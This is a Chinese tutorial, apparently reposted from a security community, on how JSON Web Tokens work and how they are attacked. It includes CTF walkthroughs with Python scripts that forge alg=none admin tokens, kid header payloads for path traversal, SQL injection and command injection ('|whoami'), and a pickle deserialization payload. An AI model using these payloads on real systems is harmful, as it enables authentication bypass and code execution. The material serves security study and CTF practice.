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本文转自先知社区：https://xz.aliyun.com/t/9376
作者：sh0w1

JSON Web Token（JWT）是一种用于通信双方之间传递安全信息的简洁的、URL安全的表述性声明规范，经常用在跨域身份验证

cookie /session /jwt  不同点

1.对于一般的cookie，如果我们的加密措施不当，很容易造成信息泄露，甚至信息伪造，这肯定不是我们期望的。

2.session:客户端在服务端登陆成功之后，服务端会生成一个sessionID，返回给客户端，客户端将sessionID保存到cookie中，session保存在服务端，当客户访问量增加时，服务端就需要存储大量的session会话，对服务器有很大的考验

3.jwt:在身份验证中，当用户使用他们的凭证成功登录时，JSON Web Token将被返回并且必须保存在本地

客户端身份经过服务器验证通过后，会生成带有签名的 JSON 对象并将它返回给客户端。客户端在收到这个 JSON 对象后存储起来

在以后的请求中客户端将 JSON 对象连同请求内容一起发送给服务器，服务器收到请求后通过 JSON 对象标识用户，如果验证不通过则不返回请求的数据。

验证不通过的情况有很多，比如签名不正确、无权限等。在 JWT 中服务器不保存任何会话数据 ，使得服务器更加容易扩展。

构成

它的构成：第一部分我们称它为头部（header),第二部分我们称其为载荷（payload, 类似于飞机上承载的物品)，第三部分是签证（signature).

类似于：

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIyMzMzIiwibmFtZSI6Im5wZnMiLCJhZG1pbiI6dHJ1ZX0.mcHAMzOrqyqLk5-tmWVp1-zdlqIVcOdv-39oQIoOWoQ

---

header

jwt的头部承载两部分信息：

声明类型，这里是jwt
声明加密的算法 通常直接使用 HMAC SHA256

完整的头部就像下面这样的JSON：

{
  'typ': 'JWT',
  'alg': 'HS256'
}

---

payload

载荷就是存放有效信息的地方。这些有效信息包含三个部分

• 标准中注册的声明

• 公共的声明

• 私有的声明

标准中注册的声明 :

• iss: jwt签发者

• sub: jwt所面向的用户

• aud: 接收jwt的一方

• exp: jwt的过期时间，这个过期时间必须要大于签发时间

• nbf: 定义在什么时间之前，该jwt都是不可用的.

• iat: jwt的签发时间

• jti: jwt的唯一身份标识，主要用来作为一次性token,从而回避重放攻击。

公共的声明 ：

公共的声明可以添加任何的信息，一般添加用户的相关信息或其他业务需要的必要信息.但不建议添加敏感信息，因为该部分在客户端可进行解码.

私有的声明 ：

私有声明是提供者和消费者所共同定义的声明，一般不建议存放敏感信息。

{
  "sub": "1234567890",
  "name": "purplet",
  "admin": true,
  "secretid": 1
}

---

signature

jwt的第三部分是一个签证信息，这个签证信息由三部分组成：

• header (base64后的)

• payload (base64后的)

• secret

这个部分需要base64加密后的header和base64加密后的payload使用.连接组成的字符串，然后通过header中声明的加密方式进行加盐secret组合加密，然后就构成了jwt的第三部分。加密方式如下。

// javascript
var encodedString = base64UrlEncode(header) + '.' + base64UrlEncode(payload);

var signature = HMACSHA256(encodedString, 'secret');

---

最后将这三部分用.连接成一个完整的字符串,构成了最终的jwt。

jwt解密网站

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攻击方法

签名无效

当用户端提交请求给应用程序，服务端可能没有对token签名进行校验，这样，攻击者便可以通过提供无效签名简单地绕过安全机制。

直接修改payload内容，生成新token

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空加密算法

JWT支持使用空加密算法，可以在header中指定alg为None

将secret置空。利用node的jsonwentoken库已知缺陷：当jwt的secret为null或undefined时，jsonwebtoken会采用algorithm为none进行验证

因为alg为none,所以只要把signature设置为空（即不添加signature字段），提交到服务器，token都可以通过服务器的验证

import jwt
token = jwt.encode(
{
  "user": "admin",
},
algorithm="none",key=""
).decode(encoding='utf-8')

print(token)

这里需要安装pyjwt库

pip install PyJWT

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修改算法RS256为HS256（非对称密码-->对称密码）

JWT中最常用的两种算法为HMAC和RSA

HMAC(HS256):是一种对称加密算法，使用秘密密钥对每条消息进行签名和验证
RSA(RS256)：是一种非对称加密算法，使用私钥加密明文，公钥解密密文。

在这两种算法中都是使用私钥对signature字段进行签名，只有拿到了加密时使用的私钥，才有可能伪造token。

如果将算法从RS256更改为HS256，后端代码会使用公钥作为秘密密钥，然后使用HS256算法验证签名。由于公钥有时可以被攻击者获取到，所以攻击者可以修改header中算法为HS256，然后使用RSA公钥对数据进行签名。更改算法为HS256，即不存在公钥私钥问题，因为HMAC对称密码算法只有一个key

爆破密钥

JWT 的密钥爆破需要在一定的前提下进行：

• 知悉JWT使用的加密算法

• 一段有效的、已签名的token

• 签名用的密钥不复杂（弱密钥）

c-jwt-cracker

这里运行之前需要些输入make命令，创建一个jwtcrack文件

---

修改KID参数

kid是jwt header中的一个可选参数，全称是key ID，它用于指定加密算法的密钥。我们可以通过修改kid参数进行目录遍历、sql注入、命令注入等攻击

#目录遍历
{
    "alg" : "HS256",
    "typ" : "jwt",
    "kid" : "/etc/passwd"
}

#sql注入
{
    "alg" : "HS256",
    "typ" : "jwt",
    "kid" : "aaaaaaa' UNION SELECT 'key';-- "

#命令执行
{
    "alg" : "HS256",
    "typ" : "jwt",
    "kid" : "/path/to/key_file|whoami"
}

---

修改JKU/X5U参数

类似于kid ,可以由用户进行输入，如果没有经过严格过滤，就可以指定一组自定义的密钥文件，并指定web应用使用该组密钥来验证token。

JKU全称是“JWKSet URL”，它是头部的一个可选字段，用于指定链接到一组加密token密钥的URL。若允许使用该字段且不设置限定条件，攻击者就能托管自己的密钥文件，并指定应用程序，用它来认证token。

XSU头部参数允许攻击者用于验证Token的公钥证书或证书链

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信息泄露

直接将payload用base64解密，发泄一些敏感信息

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easy_login

分别访问这两个文件，可以猜测出存在controllers/api.js
这里是怎么猜出来的，看了赵总的WP，凭经验

koa框架主要目录：

这里总的来说就是要在sid不为 undefined，null，并且必须在全局变量 secrets 数组的长度和 0 之间的前提下，使sid不能作为为全局变量 secrets 数组的索引，那么 secret 就会为空了

secretid可以利用空数组绕过（ JavaScript 是一门弱类型语言，空数组与数字比较永远为真）

所以总的做法就是生成一个 secretid 为空数组的令牌，username 设置为 admin，加密方式为 none（空加密算法），即可绕过验证，使得最后登录时验证的用户名为 admin

import jwt
token = jwt.encode(
{"secretid":[],
"username":"admin",
"password":"888"},
algorithm="none",key=""
).decode('utf-8')
print(token)

==> eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6Ijg4OCJ9.

ikun

这里提示我们购买lv6，写个脚本跑一下

import requests
url="http://4134c719-6874-41bc-962f-ab08697fbc16.node3.buuoj.cn/shop?page="
for i in range(0,2000):
    r=requests.get(url+str(i))
    if 'lv6.png' in r.text:
       print (i)
       break

--》lv6在181页

抓包，查看cookie可以看到一段JWT，看到JWT长度较短，所以考虑利用工具将JWT的第三段密钥爆破出来

接下去就是考察python反序列化，感兴趣的同学可以自己去做一下

利用reduce函数

反序列化后产生的对象会在结束时触发reduce()函数从而触发恶意代码。

import pickle
import urllib.parse

class payload(object):
    def __reduce__(self):
        return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload(),protocol=0)
a = urllib.parse.quote(a)
print (a)

序列密码 
https://www.hetianlab.com/expc.do?ec=ECIDced7-a94a-44af-af5a-a433ed1bee97&pk_campaign=weixin-wemedia#stu   
序列密码也称为流密码（Stream Cipher），它是对称密码算法的一种。通过本实验，了解序列密码

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本文始发于微信公众号（合天网安实验室）：JWT攻击学习